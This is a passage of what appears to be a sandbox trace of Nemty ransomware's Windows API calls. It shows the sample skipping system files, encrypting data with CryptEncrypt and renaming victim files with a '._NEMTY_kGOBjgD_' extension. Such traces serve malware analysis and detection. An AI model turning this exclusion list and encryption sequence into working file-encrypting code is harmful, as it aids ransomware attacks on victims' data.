nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.894] CloseHandle (hObject=0xffffffff) returned 0 [0160.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0160.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0160.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0160.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0160.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full.png._nemty_kgobjgd_")) returned 0 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.895] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8716e6a0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8716e6a0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b05e8cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2=".") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="..") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="...") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="windows") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="rsa") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="ntldr") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="boot.ini") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="boot.ini") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="bootmgr") returned 1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="programdata") returned -1 [0160.895] lstrcmpiW (lpString1="docked_black_moon-full_partly-cloudy.png", lpString2="appdata") returned 1 [0160.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400d0 [0160.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0160.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 40 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340138 [0160.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 40 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340138 | out: hHeap=0x4f90000) returned 1 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400d0 [0160.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 40 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400d0 [0160.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0160.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full_partly-cloudy.png", cchWideChar=40, lpMultiByteStr=0x6345640, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 40 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0160.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0160.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0160.896] Sleep (dwMilliseconds=0x5) [0160.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x138ecbd0, dwHighDateTime=0x1d561e8)) [0160.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x138ecbd0, dwHighDateTime=0x1d561e8)) [0160.912] GetLastError () returned 0x5 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.912] GetLastError () returned 0x5 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.912] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.912] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.912] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0160.912] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="LN6+JX0N4j2bYRrIQjnm6VyhKFQSv6UtaA8nUSElW2g8GFiSolJLhlceZP4axLNg\r\naT4iFWaFX241q8SJGQA6zX74+kCJPn2k1t118JiCpCWyhjkEPUfADrVnkEo90Nrb\r\n4k2F7FqJlx9YpVnRmY9zLJgIpG8sY/5IQVyOcFOI/snIjvop4qJ9esvCLj576U1s\r\ncA69TcMl454vQttrzK8V+Ii3vyzUmDs5Mp1CxMI9CoP3Z3xedheaQbBWtl8LyRkO\r\nH+TByem1JYM6i91yDiWLMKNfcL3zysBFFGR53XzuLGEnVaOE1KCs11DNRGhI3o/0\r\nGqkBw0luKWb2UDr7gTaYOg==\r\n", pcchString=0x653e91c) returned 1 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0160.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0160.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.912] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.913] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, 